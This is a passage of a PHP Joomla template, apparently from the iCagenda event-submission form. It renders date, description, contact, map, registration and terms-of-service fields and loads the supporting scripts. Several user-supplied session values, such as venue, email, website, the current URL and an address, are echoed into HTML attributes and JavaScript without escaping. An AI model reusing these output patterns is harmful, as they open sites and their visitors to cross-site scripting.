								<option value="1" <?php if (in_array('1', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('MONDAY') ?></option>
								<option value="2" <?php if (in_array('2', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('TUESDAY') ?></option>
								<option value="3" <?php if (in_array('3', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('WEDNESDAY') ?></option>
								<option value="4" <?php if (in_array('4', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('THURSDAY') ?></option>
								<option value="5" <?php if (in_array('5', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('FRIDAY') ?></option>
								<option value="6" <?php if (in_array('6', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('SATURDAY') ?></option>
							</select>
						<?php endif; ?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_weekDays . '"></span>'; ?>
					</div>
				</div>
				<?php endif; ?>
				<?php endif; ?>

				<?php if ($dates_display == '1') : ?>
				<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_SINGLE_DATES'); ?></h3>
				<div class="ic-control-group ic-clearfix">
					<?php echo $this->form->getInput('dates'); ?>
				</div>
				<?php endif; ?>

				<?php if ($displaytime_display == '1' && ($period_display == '1' || $dates_display == '1')) : ?>
				<h3><?php echo JText::_('COM_ICAGENDA_DISPLAY_TIME_LABEL'); ?></h3>
				<?php
				if ($post)
				{
					$time_checked_0			= empty($post_displaytime) ? ' checked="checked"' : '';
					$time_checked_1			= ! empty($post_displaytime) ? ' checked="checked"' : '';
				}
				else
				{
					$time_checked_0			= ($displaytime_default == '0') ? ' checked="checked"' : '';
					$time_checked_1			= ($displaytime_default == '1') ? ' checked="checked"' : '';;
				}
				?>
				<div class="ic-control-group ic-clearfix">
					<fieldset id="displaytime" class="ic-radio ic-btn-group">
						<?php echo '<input id="displaytime0" class="ic-btn" type="radio" value="0"' . $time_checked_0 . ' name="displaytime"></input>'; ?>
						<?php echo '<label class="ic-btn" for="displaytime0">' . JText::_('JHIDE') . '</label>'; ?>
						<?php echo '<input id="displaytime1" class="ic-btn" type="radio" value="1"' . $time_checked_1 . ' name="displaytime"></input>'; ?>
						<?php echo '<label class="ic-btn" for="displaytime1">' . JText::_('JSHOW') . '</label>'; ?>
					</fieldset>
					<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_displayTime . '"></span>'; ?>
				</div>
				<?php else : ?>
				<?php echo '<input type="hidden" value="' . $displaytime_default . '" name="displaytime" />'; ?>
				<?php endif; ?>

				<?php echo $this->form->getInput('next'); ?>
			</div>
			<div>&nbsp;</div>

			<?php // Description Field Set ?>
			<?php if ($this->submit_descDisplay
				|| $this->submit_shortdescDisplay
				|| $this->submit_metadescDisplay) : ?>
				<legend><?php echo JText::_('COM_ICAGENDA_LEGEND_DESC'); ?></legend>
				<div class="fieldset">

					<?php // Short Description ?>
					<?php if ($this->submit_shortdescDisplay) : ?>
					<div class="ic-control-group ic-clearfix">
						<h3><?php echo JText::_('COM_ICAGENDA_SUBMIT_AN_EVENT_SHORT_DESCRIPTION_LBL') . ' <small class="iCFormTip iCicon iCicon-info-circle" title="' . JText::_('COM_ICAGENDA_SUBMIT_AN_EVENT_SHORT_DESCRIPTION_DESC') . '"></small>'; ?></h3>
						<?php echo $this->form->getInput('shortdesc'); ?>
					</div>
					<?php endif; ?>

					<?php // Description ?>
					<?php if ($this->submit_descDisplay) : ?>
					<div class="ic-control-group ic-clearfix">
						<h3><?php echo JText::_('COM_ICAGENDA_FORM_LBL_EVENT_DESC') . ' <small class="iCFormTip iCicon iCicon-info-circle" title="' . JText::_('COM_ICAGENDA_SUBMIT_AN_EVENT_DESCRIPTION_DESC') . '"></small>'; ?></h3>
						<div>
							<?php
							if ($post_desc)
							{
								$editor = JFactory::getEditor();
								echo '<div id="tos_custom">';
								echo $editor->display("desc", $post_desc, "100%", "300", "300", "20", 1, null, null, null, array('mode' => 'advanced'));
								echo '</div>';
							}
							else
							{
								echo $this->form->getInput('desc');
							}
							?>
						</div>
						<div>&nbsp;</div>
					</div>
					<?php endif; ?>

					<?php // Meta-description ?>
					<?php if ($this->submit_metadescDisplay) : ?>
					<div class="ic-control-group ic-clearfix">
						<h3><?php echo JText::_('COM_ICAGENDA_FORM_EVENT_METADESC_LBL') . ' <small class="iCFormTip iCicon iCicon-info-circle" title="' . JText::_('COM_ICAGENDA_SUBMIT_AN_EVENT_METADESC_DESC') . '"></small>'; ?></h3>
						<?php echo $this->form->getInput('metadesc'); ?>
					</div>
					<?php endif; ?>
      <!--textarea name="taMessage2" cols="50" rows="3" class="textarea" id="taMessage2" onMouseOut="CheckFieldLength(taMessage2, 'charcount2', 'remaining2', 140);" onKeyDown="CheckFieldLength(taMessage2, 'charcount2', 'remaining2', 140);" window.onmousemove="CheckFieldLength(taMessage2, 'charcount2', 'remaining2', 140);"></textarea-->
      <!--h2><span id="charcount2">0</span> characters entered | <span id="remaining2">140</span> characters remaining</h2>
		<script type="text/javascript">
		window.onmousemove = iCuseractions;
		window.onscroll = iCuseractions;
		function iCuseractions()
		{
			CheckFieldLength(taMessage2, 'charcount2', 'remaining2', 140);
		}
		</script-->
				</div>
				<div>&nbsp;</div>
			<?php endif; ?>

			<?php // Information Field Set ?>
			<?php if ($this->submit_venueDisplay
				OR $this->submit_emailDisplay
				OR $this->submit_phoneDisplay
				OR $this->submit_websiteDisplay
				OR $this->submit_fileDisplay
				OR $this->submit_customfieldsDisplay) : ?>
				<legend><?php echo JText::_('COM_ICAGENDA_LEGEND_INFORMATION'); ?></legend>
				<div class="fieldset">

					<?php // Venue ?>
					<?php if ($this->submit_venueDisplay) : ?>
						<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_VENUE'); ?></h3>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_VENUE' ); ?></label>
							</div>
							<div class="ic-controls">
								<?php
								if ($post_venue)
								{
									echo '<input type="text" name="place" value="' . $post_venue . '" size="40" class="input-large" />';
								}
								else
								{
									echo $this->form->getInput('place');
								}
								?>
								<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_venue . '"></span>'; ?>
							</div>
						</div>
					<?php endif; ?>

					<?php // Contact ?>
					<?php if ($this->submit_emailDisplay
						OR $this->submit_phoneDisplay
						OR $this->submit_websiteDisplay) : ?>
						<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_CONTACT'); ?></h3>

						<?php // Email ?>
						<?php if ($this->submit_emailDisplay) : ?>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_EMAIL' ); ?></label>
							</div>
							<div class="ic-controls">
								<?php
								if ($post_email)
								{
									echo '<input type="text" name="email" value="' . $post_email . '" size="40" class="input-xlarge" />';
								}
								else
								{
									echo $this->form->getInput('email');
								}
								?>
								<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_email . '"></span>'; ?>
							</div>
						</div>
						<?php endif; ?>

						<?php // Phone ?>
						<?php if ($this->submit_phoneDisplay) : ?>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_PHONE' ); ?></label>
							</div>
							<div class="ic-controls">
								<?php
								if ($post_phone)
								{
									echo '<input type="text" name="phone" value="' . $post_phone . '" size="40" class="input-large" />';
								}
								else
								{
									echo $this->form->getInput('phone');
								}
								?>
								<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_phone . '"></span>'; ?>
							</div>
						</div>
						<?php endif; ?>

						<?php // Website ?>
						<?php if ($this->submit_websiteDisplay) : ?>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_WEBSITE' ); ?></label>
							</div>
							<div class="ic-controls">
								<?php
								if ($post_website)
								{
									echo '<input type="text" name="website" value="' . $post_website . '" size="40" class="input-large" />';
								}
								else
								{
									echo $this->form->getInput('website');
								}
								?>
								<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_website . '"></span>'; ?>
							</div>
						</div>
						<?php endif; ?>

					<?php endif; ?>

					<?php // Load Custom fields - Event form (2) ?>
					<?php if ($this->submit_customfieldsDisplay) : ?>
						<?php if (icagendaCustomfields::loader(2)) : ?>
							<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_OTHER_INFORMATION'); ?></h3>
							<?php echo icagendaCustomfields::loader(2); ?>
							<br />
						<?php endif; ?>
					<?php endif; ?>

					<?php // Attachment ?>
					<?php if ($this->submit_fileDisplay) : ?>
						<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_ALLEG'); ?></h3>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_FILE' ); ?></label>
							</div>
							<div class="ic-controls">
								<?php if ($post_file) : ?>
									<?php echo '<input type="hidden" name="file_session" value="' . $post_file . '" />'; ?>
									<?php
									$path_parts = pathinfo($post_file);
									echo $path_parts['basename'];
									?>
								<?php else : ?>
									<?php echo $this->form->getInput('file'); ?>
									<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_file . '"></span>'; ?>
								<?php endif; ?>
							</div>
						</div>
					<?php endif; ?>
				</div>
				<div>&nbsp;</div>
			<?php endif; ?>

			<?php // Google Maps Field Set ?>
			<?php if ($this->submit_gmapDisplay) : ?>
				<legend><?php echo JText::_('COM_ICAGENDA_LEGEND_GOOGLE_MAPS'); ?></legend>
				<div class="fieldset">
					<div id="googlemap">
						<div class="row-fluid">
							<div class="span6 ic-align-left">
								<h3><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_SUBTITLE_LBL'); ?></h3>
								<div>
									<?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_NOTE1'); ?>
									<br/>
									<?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_NOTE2'); ?>
									<br/>
								</div>
								<div style="clear:both"></div>
								<div>
									<div class="icmap-address">
										<?php
										if ($address_session)
										{
											echo '<input type="hidden" name="address_session" value="' . $address_session . '" size="40" class="input-xlarge" readonly="true" />';
//											echo '<div><strong>' . $address_session . '</strong></div>';
										}
										?>
										<div class="icmap-label">
											<?php echo $this->form->getLabel('address'); ?>
										</div>
										<?php echo $this->form->getInput('address'); ?>
									</div>
									<div class="icmap-field">
										<?php echo $this->form->getInput('city'); ?>
									</div>
									<div class="icmap-field">
										<?php echo $this->form->getInput('country'); ?>
									</div>
									<div class="icmap-field">
										<?php echo $this->form->getInput('lat'); ?>
									</div>
									<div class="icmap-field">
										<?php echo $this->form->getInput('lng'); ?>
									</div>
								</div>
							</div>
							<div class="span6 ic-align-left">
								<div class='map-wrapper'>
									<h3>Map</h3>
									<label id="geo_label" for="reverseGeocode"><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_REVERSE'); ?></label>
									<select id="reverseGeocode">
										<option value="false" selected><?php echo JText::_('JNO'); ?></option>
										<option value="true"><?php echo JText::_('JYES'); ?></option>
									</select><br/>
									<div id="map"></div>
									<div id="legend"><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_LEGEND'); ?></div>
								</div>
							</div>
						</div>
					</div>
					<div style="clear:both"></div>
				</div>
				<div>&nbsp;</div>
			<?php endif; ?>

			<?php // Registration Field Set ?>
			<?php if ($this->submit_regoptionsDisplay && $this->statutReg == 1) : ?>
				<legend><?php echo JText::_('COM_ICAGENDA_REGISTRATION_OPTIONS'); ?></legend>
				<div class="fieldset">

					<?php
					if ($post && $post_param)
					{
						$statutReg	= $post_param['statutReg'];
						$checked_0	= empty($statutReg) ? ' checked="checked"' : '';
						$checked_1	= !empty($statutReg) ? ' checked="checked"' : '';
						$maxReg		= $post_param['maxReg'];
					}
					else
					{
						$statutReg	= $iCparams->get('statutReg', '0');
						$checked_0	= ($statutReg == '0') ? ' checked="checked"' : '';
						$checked_1	= ($statutReg == '1') ? ' checked="checked"' : '';;
						$maxReg		= '';
					}
					?>

					<?php // Registration Activation ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label><?php echo JText::_( 'COM_ICAGENDA_REGISTRATION_LABEL' ); ?></label>
						</div>
						<div class="ic-controls">
							<fieldset id="params_statutReg" class="ic-radio ic-btn-group">
								<?php echo '<input id="params_statutReg0" class="ic-btn" type="radio"' . $checked_0 . ' value="0" name="params[statutReg]"></input>'; ?>
								<?php echo '<label class="ic-btn" for="params_statutReg0">' . JText::_('JOFF') . '</label>'; ?>
								<?php echo '<input id="params_statutReg1" class="ic-btn" type="radio"' . $checked_1 . ' value="1" name="params[statutReg]"></input>'; ?>
								<?php echo '<label class="ic-btn" for="params_statutReg1">' . JText::_('JON') . '</label>'; ?>
							</fieldset>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_reg . '"></span>'; ?>
						</div>
					</div>

					<?php // Nb of Tickets ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label><?php echo JText::_( 'COM_ICAGENDA_MAX_REGISTRATIONS_LABEL' ); ?></label>
						</div>
						<div class="ic-controls">
							<?php echo '<input type="text" class="input-small" name="params[maxReg]" value="' . $maxReg . '" />'; ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_tickets . '"></span>'; ?>
						</div>
					</div>

					<?php foreach ($params as $name => $fieldSet) : ?>
						<?php if ($fieldSet->name != 'captcha') : ?>
							<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
								<p class="tip"><?php echo $this->escape(JText::_($fieldSet->description));?></p>
							<?php endif; ?>
							<!--h3><?php echo $this->escape(JText::_($fieldSet->label)); ?></h3-->
							<?php foreach ($this->form->getFieldset($name) as $field) : ?>
								<div class="ic-control-group ic-clearfix">
									<div class="ic-control-label">
										<?php echo $field->label; ?>
									</div>
									<div class="ic-controls">
										<?php
										if ($post_params)
										{
											foreach ($post_params as $key => $value)
											{
												$post_param[$key] = $value;
											}
											echo $field->input;
										}
										else
										{
											echo $field->input;
										}
										?>
									</div>
								</div>
							<?php endforeach; ?>
						<?php endif; ?>
					<?php endforeach; ?>
				</div>
				<div>&nbsp;</div>
			<?php endif; ?>

			<?php // Hidden Fields ?>
			<div style="display:none">
				<?php echo $this->form->getInput('alias'); ?>
				<?php echo $this->form->getInput('id'); ?>
				<?php echo $this->form->getInput('created_by'); ?>
				<?php echo $this->form->getInput('created_by_alias'); ?>
				<?php echo $this->form->getInput('created'); ?>
				<?php echo $this->form->getInput('checked_out'); ?>
				<?php echo $this->form->getInput('checked_out_time'); ?>
				<?php
				$current_url	= JURI::getInstance()->toString();
				$menu			= JFactory::getApplication()->getMenu();
				$current_menu	= $menu->getActive();
				?>
				<!--input type="hidden" name="menuID" value="<?php echo $menuID; ?>" /-->
				<input type="hidden" name="current_url" value="<?php echo $current_url; ?>" />
				<input type="hidden" name="site_itemid" value="<?php echo $current_menu->id; ?>" />
				<input type="hidden" name="site_menu_title" value="<?php echo $current_menu->title; ?>" />
				<input type="hidden" id="tos" name="submit_tos" value="<?php echo $ic_submit_tos; ?>" />
			</div>

				<?php
				/**
				 * Terms of Service Display
				 */
				if ($tos == 0) // No Terms of Service
				{
					// Terms of Service not displayed
					$tokenHTML = str_replace('type="hidden"','id="formAgree" name="tos" value="checked" class="required" required="true" type="checkbox" checked style="display:none"',JHTML::_( 'form.token' ));
					echo $tokenHTML;
					?>
					<div class="bgButton">

						<?php // RECAPTCHA ?>
						<?php if ($this->submit_captcha != '0') : ?>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label">
								<label> </label>
							</div>
							<div class="ic-controls">
								<?php echo $this->form->getInput('captcha'); ?>
							</div>
						</div>
						<br />
						<?php endif; ?>

						<span>
							<!--input type="submit" value="<?php echo JText::_( 'COM_ICAGENDA_EVENT_FORM_SUBMIT' ); ?>" class="button" name="submit"/-->
							<button type="submit" class="button validate"><?php echo JText::_('COM_ICAGENDA_EVENT_FORM_SUBMIT');?></button>
							<input type="hidden" name="task" value="" />
							<input type="hidden" name="return" value="index.php" />
							<?php if (false) echo JHtml::_( 'form.token' ); ?>
						</span>
						<!--span class="buttonx">
							<a href="javascript:history.go(-1)" title="<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>">
								<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>
							</a>
						</span-->
					</div><?php // End Div bgButton ?>
					<?php
				}
				elseif ($tos == 1) // Terms of Service Required
				{
					// Terms of Service
					$checked = ($ic_submit_tos == 'checked') ? ' checked' : '';

					$tokenHTML = str_replace('type="hidden"', 'id="formAgree" name="tos" value="checked" class="required" required="true" type="checkbox"' . $checked, JHtml::_( 'form.token' ));

					// Get the site name
					$config = JFactory::getConfig();
					if (version_compare(JVERSION, '3.0', 'ge')) {
						$sitename = $config->get('sitename');
					} else {
						$sitename = $config->getValue('config.sitename');
					}

					// Tos Type
					$iCparams	= JComponentHelper::getParams('com_icagenda');
					$tos_Type	= $iCparams->get('tos_Type', '');
					$tosArticle	= $iCparams->get('tosArticle', '');
					$tosContent	= $iCparams->get('tosContent', '');

					$tosDEFAULT	= JText::sprintf( 'COM_ICAGENDA_TOS', $sitename, $sitename);
					$tosARTICLE	= 'index.php?option=com_content&view=article&id=' . $tosArticle . '&tmpl=component';
					$tosCUSTOM	= $tosContent;

					?>
					<div class="ic-tos-content bgButton">
						<div>
							<b><big><?php echo JText::_( 'COM_ICAGENDA_TERMS_OF_SERVICE'); ?></big></b>
						</div>
						<?php
						if ($tos_Type == 1)
						{
							echo '<iframe src="'.htmlentities($tosARTICLE).'" width="98%" height="150"></iframe>';
						}
						elseif ($tos_Type == 2)
						{
							echo '<div class="ic-tos-text">';
							echo $tosCUSTOM;
							echo '</div>';
						}
						else
						{
							echo '<div class="ic-tos-text">';
							echo $tosDEFAULT;
							echo '</div>';
						}
						?>
						<!--iframe src="<?php echo htmlentities($tosURL); ?>" width="98%" height="150"></iframe-->
						<div class="ic-tos-agree agreeToS">
							<p>
							<span><?php echo $tokenHTML; ?></span>
							<span id="formAgree-lbl" for="formAgree"><?php echo JText::_( 'COM_ICAGENDA_TERMS_OF_SERVICE_AGREE'); ?> *<label style="display:none" id="formAgree-lbl" for="formAgree"><?php echo JText::_( 'COM_ICAGENDA_TERMS_AND_CONDITIONS'); ?></label></span>
							</p>
						</div>

						<?php // RECAPTCHA ?>
						<?php if ($this->submit_captcha != '0') : ?>
						<div class="ic-control-group ic-clearfix">
							<div class="ic-control-label ic-captcha-label">
								<label> </label>
							</div>
							<div class="ic-controls">
								<?php echo $this->form->getInput('captcha'); ?>
							</div>
						</div>
						<br />
						<?php endif; ?>

						<div id="submit">
							<!--input id="submit" type="submit" value="<?php echo JText::_( 'COM_ICAGENDA_EVENT_FORM_SUBMIT' ); ?>" class="button" name="Submit" /--><!--  onclick="javascript:Recaptcha.reload()" -->
							<button type="submit" class="button validate">
								<?php echo JText::_('COM_ICAGENDA_EVENT_FORM_SUBMIT');?>
							</button>
							<input type="hidden" name="task" value="" />
							<input type="hidden" name="return" value="index.php" />
							<?php if (false) echo JHtml::_( 'form.token' ); ?>
						</div>
						<!--span class="buttonx">
							<a href="javascript:history.go(-1)" title="<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>">
								<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>
							</a>
						</span-->
					</div><?php // End Div bgButton ?>
					<?php
				}
				?>
			</div><?php // End Form Fields ?>
			<div style="clear:both"></div>
		</form>
	</div>

	<?php
	$limitSize = $this->submit_imageMaxSize;

	// Script to test Text Counter limit on mouse move and on scroll
	$ic_max_com_shortdesc	= JComponentHelper::getParams('com_icagenda')->get('char_limit_short_description', '100');
	$ic_max_shortdesc		= $this->params->get('char_limit_short_description', '100');
	$ic_max_shortdesc		= ($ic_max_com_shortdesc >= $ic_max_shortdesc) ? $ic_max_shortdesc : $ic_max_com_shortdesc;

	$ic_max_com_metadesc	= JComponentHelper::getParams('com_icagenda')->get('char_limit_meta_description', '160');
	$ic_max_metadesc		= $this->params->get('char_limit_meta_description', '160');
	$ic_max_metadesc		= ($ic_max_com_metadesc >= $ic_max_metadesc) ? $ic_max_metadesc : $ic_max_com_metadesc;

	$script = '<script type="text/javascript">';
	$script.= 'window.onmousemove = useractions;';
	$script.= 'window.onscroll = useractions;';
	$script.= 'function useractions()';
	$script.= '{';

	if ($this->submit_shortdescDisplay)
	{
		$script.= '	var shortdesc_control = document.getElementById("shortdesc");';
		$script.= '	var counter_shortdesc = document.getElementById("shortdesc-counter");';
		$script.= '	if (shortdesc_control.value.length > ' . $ic_max_shortdesc . ')';
		$script.= '	{';
		$script.= '		shortdesc_control.value = shortdesc_control.value.substring(0,' . $ic_max_shortdesc . ');';
		$script.= '		counter_shortdesc.value = 0;';
		$script.= '		shortdesc_control.addClass("ic-counter-limit");';
		$script.= '		counter_shortdesc.addClass("ic-counter-limit");';
		$script.= '		alert(Joomla.JText._("COM_ICAGENDA_ALERT_TEXT_EXCEEDS_CHARACTER_LIMIT"));';
		$script.= '		shortdesc_control.scrollIntoView();';
		$script.= '	}';
	}

	if ($this->submit_metadescDisplay)
	{
		$script.= '	var metadesc_control = document.getElementById("metadesc");';
		$script.= '	var counter_metadesc = document.getElementById("metadesc-counter");';
		$script.= '	if (metadesc_control.value.length > ' . $ic_max_metadesc . ')';
		$script.= '	{';
		$script.= '		metadesc_control.value = metadesc_control.value.substring(0,' . $ic_max_metadesc . ');';
		$script.= '		counter_metadesc.value = 0;';
		$script.= '		metadesc_control.addClass("ic-counter-limit");';
		$script.= '		counter_metadesc.addClass("ic-counter-limit");';
		$script.= '		alert(Joomla.JText._("COM_ICAGENDA_ALERT_TEXT_EXCEEDS_CHARACTER_LIMIT"));';
		$script.= '		metadesc_control.scrollIntoView();';
		$script.= '	}';
	}

	$script.= '}';
	$script.= '</script>';

	echo $script;

	// Disable submit button after first click
	JFactory::getDocument()->addScriptDeclaration('
		jQuery(function($) {
			$("#submitevent").one("submit", function() {
				$(this).find(\'button[type="submit"]\')
					.attr("disabled","disabled")
					.css({
						"background-color": "transparent",
						"color": "grey"
					});
				$("#submit").addClass("ic-loader");
			});
		});
	');
	?>

	<script type="text/javascript">
	jQuery(function($) {

		// var url = window.URL || window.webkitURL; // alternate use

		function readImage(file, accept, mimetype, limitSize) {

			var reader = new FileReader();
			var image  = new Image();

			reader.readAsDataURL(file);
			reader.onload = function(_file) {
				image.src    = _file.target.result;              // url.createObjectURL(file);
				image.onload = function() {
					var w = file.width,
						h = file.height,
						t = file.type,                           // ext only: // file.type.split('/')[1],
						n = file.name,
						size = ~~(file.size/1024),
						s = ~~(file.size/1024) +' <?php echo JText::_("IC_LIBRARY_KILO_BYTES"); ?>';

					if ( inArray(t, mimetype) )
					{
						if (size < limitSize)
						{
							$('#ic-upload-preview').empty();
							$('#ic-upload-preview').append('<center><img src="'+ image.src +'"><br />'+w+'x'+h+' - '+s+' - '+t+' - '+n+'</center><br />');
						}
						else
						{
							var uploadInvalidSize_string = "<?php echo JText::sprintf('IC_LIBRARY_UPLOAD_INVALID_SIZE', '<strong>"+ n +"</strong>', '"+ size +"', '"+ limitSize +"'); ?>";
							$('#ic-upload-preview').empty();
							$('#ic-upload-preview').append('<div class="alert alert-error">'+uploadInvalidSize_string+'</div>');
							$('input[name=image]').val('');
						}
					}
					else
					{
						$('#ic-upload-preview').empty();
						$('#ic-upload-preview').append('<div class="alert alert-error"><?php echo JText::sprintf("IC_LIBRARY_UPLOAD_INVALID_FILE_TYPE", "<strong>'+ n +'</strong>", "'+accept+'"); ?></div>');
						$('input[name=image]').val('');
					}
				};
				image.onerror= function() {
					alert('<?php echo JText::_("IC_LIBRARY_UPLOAD_INVALID_FILE_TYPE_ALERT"); ?> '+ file.type);
				};
			};

		}

		$("#image").change(function (e){
			if(this.disabled) return alert('<?php echo JText::_("IC_LIBRARY_UPLOAD_NOT_SUPPORTED"); ?>');
			var F = this.files;
			if(F && F[0]) for(var i=0; i<F.length; i++) readImage( F[i], "jpg, jpeg, png, gif", ['image/jpg','image/jpeg','image/png','image/gif'], "<?php echo $limitSize; ?>" );
		});
	});

	</script>

	<?php if ($this->submit_gmapDisplay) : ?>
	<script type="text/javascript">
		//<![CDATA[
		jQuery(function($) {
			var address_session = '<?php echo $address_session; ?>';

			if (address_session)
			{
				$('#address').val(address_session);
			}

			var addresspicker = $( "#addresspicker" ).addresspicker();
			var addresspickerMap = $( '#address' ).addresspicker({
				regionBias: "fr",
				updateCallback: showCallback,
				mapOptions: {
					zoom: <?php echo $zoom; ?>,
					center: new google.maps.LatLng(<?php echo $coords; ?>),
					scrollwheel: false,
					mapTypeId: google.maps.MapTypeId.<?php echo $mapTypeId; ?>,
					streetViewControl: false
				},
				elements: {
					map:      "#map",
					lat:      "#lat",
					lng:      "#lng",
					street_number: '#street_number',
					route: '#route',
					locality: '#locality',
					administrative_area_level_2: '#administrative_area_level_2',
					administrative_area_level_1: '#administrative_area_level_1',
					country:  '#country',
					postal_code: '#postal_code',
					type:    '#type',
				}
			});

			var gmarker = addresspickerMap.addresspicker( "marker");
			gmarker.setVisible(true);
			addresspickerMap.addresspicker( "updatePosition");

			$('#reverseGeocode').change(function(){
				$("#address").addresspicker("option", "reverseGeocode", ($(this).val() === 'true'));
			});

			function showCallback(geocodeResult, parsedGeocodeResult){
				$('#callback_result').text(JSON.stringify(parsedGeocodeResult, null, 4));
			}
  		});
		//]]>
	</script>
	<?php endif; ?>

	<?php
	// clear the data so we don't process it again
	$session->clear('ic_submit');
	$session->clear('custom_fields');
	$session->clear('ic_submit_dates');
	$session->clear('ic_submit_catid');
	$session->clear('ic_submit_shortdesc');
	$session->clear('ic_submit_metadesc');
	$session->clear('ic_submit_city');
	$session->clear('ic_submit_country');
	$session->clear('ic_submit_lat');
	$session->clear('ic_submit_lat');
	$session->clear('ic_submit_address');
	$session->clear('ic_submit_tos');
	$session->clear('email2');

	// Script validation for Submit Event form (2)
	if (!$this->submit_form_validation)
	{
		$iCheckForm = icagendaForm::submit(2);
		JFactory::getDocument()->addScriptDeclaration($iCheckForm);
	}

	if (file_exists("components/com_icagenda/themes/packs/".$this->template."/css/".$this->template."_component.css"))
	{
		$css_component	= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component-rtl.css';
	}
	else
	{
		$css_component	= '/components/com_icagenda/themes/packs/default/css/default_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/default/css/default_component-rtl.css';
	}
	// Add the media specific CSS to the document
	JLoader::register('iCagendaMediaCss', JPATH_ROOT . '/components/com_icagenda/helpers/media_css.class.php');
	iCagendaMediaCss::addMediaCss($this->template, 'component');

	// Theme pack component css
	$document->addStyleSheet( JURI::base( true ) . $css_component );

	// RTL css if site language is RTL
	$lang = JFactory::getLanguage();

	if ( $lang->isRTL()
		&& file_exists( JPATH_SITE . $css_com_rtl) )
	{
		$document->addStyleSheet( JURI::base( true ) . $css_com_rtl );
	}

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet( 'com_icagenda/icagenda-front.j25.css', false, true );

		JHtml::_('behavior.framework');

		// load jQuery, if not loaded before (NEW VERSION IN 1.2.6)
		$scripts = array_keys($document->_scripts);
		$scriptFound = false;
		$scriptuiFound = false;
		$mapsgooglescriptFound = false;

		for ($i = 0; $i < count($scripts); $i++)
		{
			if (stripos($scripts[$i], 'jquery.min.js') !== false)
			{
					$scriptFound = true;
			}
			// load jQuery, if not loaded before as jquery - added in 1.2.7
			if (stripos($scripts[$i], 'jquery.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
			{
				$scriptuiFound = true;
			}
			if (stripos($scripts[$i], 'maps.google') !== false)
			{
				$mapsgooglescriptFound = true;
			}
		}

		// jQuery Library Loader
		if (!$scriptFound)
		{
			// load jQuery, if not loaded before
			if (!JFactory::getApplication()->get('jquery'))
			{
				JFactory::getApplication()->set('jquery', true);
				// add jQuery
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
				JHtml::script('com_icagenda/jquery.noconflict.js', false, true);
			}
		}

		if (!$scriptuiFound)
		{
			$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		}
	}
	// Joomla 3
	else
	{
		JHtml::_('bootstrap.framework');
		JHtml::_('jquery.framework');

		/**
		 * Change jQuery UI version from 1.9.2 to 1.8.23 (joomla version, but not complete)
		 * to prevent a conflict in tooltip that appeared since Joomla 3.1.4
		 */
//		$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		$document->addScript( 'https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/jquery-ui.min.js' );
	}

	/**
	 * Google Maps api V3
	 */
	if ($this->submit_gmapDisplay)
	{
		$curlang	= $document->language;
		$lang		= substr($curlang, 0, 2);
		$document->addScript('https://maps.googleapis.com/maps/api/js?sensor=false&language=' . $lang);
		JHtml::script( 'com_icagenda/icmap.js', false, true );
	}

	/**
	 * Script files which could be overridden into your site template.
	 * (eg. /templates/my_template/js/com_icagenda/FILE_NAME.js)
	 */
	JHtml::script( 'com_icagenda/timepicker.js', false, true );
